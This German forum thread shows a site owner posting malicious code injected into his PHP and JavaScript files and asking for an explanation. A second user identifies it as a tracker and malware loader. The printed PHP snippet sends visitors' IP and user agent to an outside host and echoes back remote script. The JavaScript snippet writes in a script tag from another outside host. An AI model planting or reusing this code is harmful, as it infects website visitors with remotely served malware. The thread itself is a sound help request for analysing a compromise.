Wer kann das interpretieren?

[Markus_S]

Hallo,

ich habe in diversen PHP- und JavaScript-Dateien folgende Codes eingeschleust bekommen. Wer kann mir was dazu sagen? Wer kann den Code interpretieren und mir erklären, welche Funktion er hatte?

In einer PHP-Datei:

Code: Alles auswählen

#f08d38#
error_reporting(0); ini_set('display_errors',0); $wp_wlm3 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_wlm3) && !preg_match ('/bot/i', $wp_wlm3))){
$wp_wlm093="http://"."web"."basefont".".com/font"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_wlm3);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_wlm093);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_3wlm = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_3wlm,1,3) === 'scr' ){ echo $wp_3wlm; }
#/f08d38#

In einer JS-Datei:

Code: Alles auswählen

/*64bb66*/
function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset); if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return setStr;}
if &#40;navigator.userAgent.indexOf&#40;"MSIE"&#41; != -1&#41;&#123;if&#40;navigator.cookieEnabled == true&#41; &#123;var user13792 = getCookie&#40;"qq09"&#41;;if &#40;user13792 !=="qq"&#41;&#123;setCookie&#40;"qq09", "qq", 7, "/"&#41;; cookieq09q&#40;&#41;;&#125;&#125;&#125; function cookieq09q&#40;&#41;&#123;document.write&#40;"<script src='http&#58;//kim-pflege.de/kontakt/3UibGCPjH.php?id=1324650403' type='text/javascript'></" + "script>"&#41;;&#125;
function setCookie&#40;name, value, expiredays, path, domain, secure&#41; &#123; if &#40;expiredays&#41; &#123; var exdate=new Date&#40;&#41;; exdate.setDate&#40;exdate.getDate&#40;&#41;+expiredays&#41;; var expires = exdate.toGMTString&#40;&#41;; &#125; document.cookie = name + "=" + escape&#40;value&#41; + &#40;&#40;expiredays&#41; ? "; expires=" + expires &#58; ""&#41; + &#40;&#40;path&#41; ? "; path=" + path &#58; ""&#41; + &#40;&#40;domain&#41; ? "; domain=" + domain &#58; ""&#41; + &#40;&#40;secure&#41; ? "; secure" &#58; ""&#41;;&#125;
/*/64bb66*/

Danke für eure Hilfe.

[Thomas B.]

Der PHP Code sieht aus wie ein Tracker, wenn ein Besucher kommt (Kein Bot!) wird eine Verbindung zu einem anderen Server aufgebaut und Informationen wie IP und User-Agent übergeben. Anschließend wird irgend etwas abgerufen und ausgegeben.

Der JS Code bindet eine JS Datei ein mit Malware.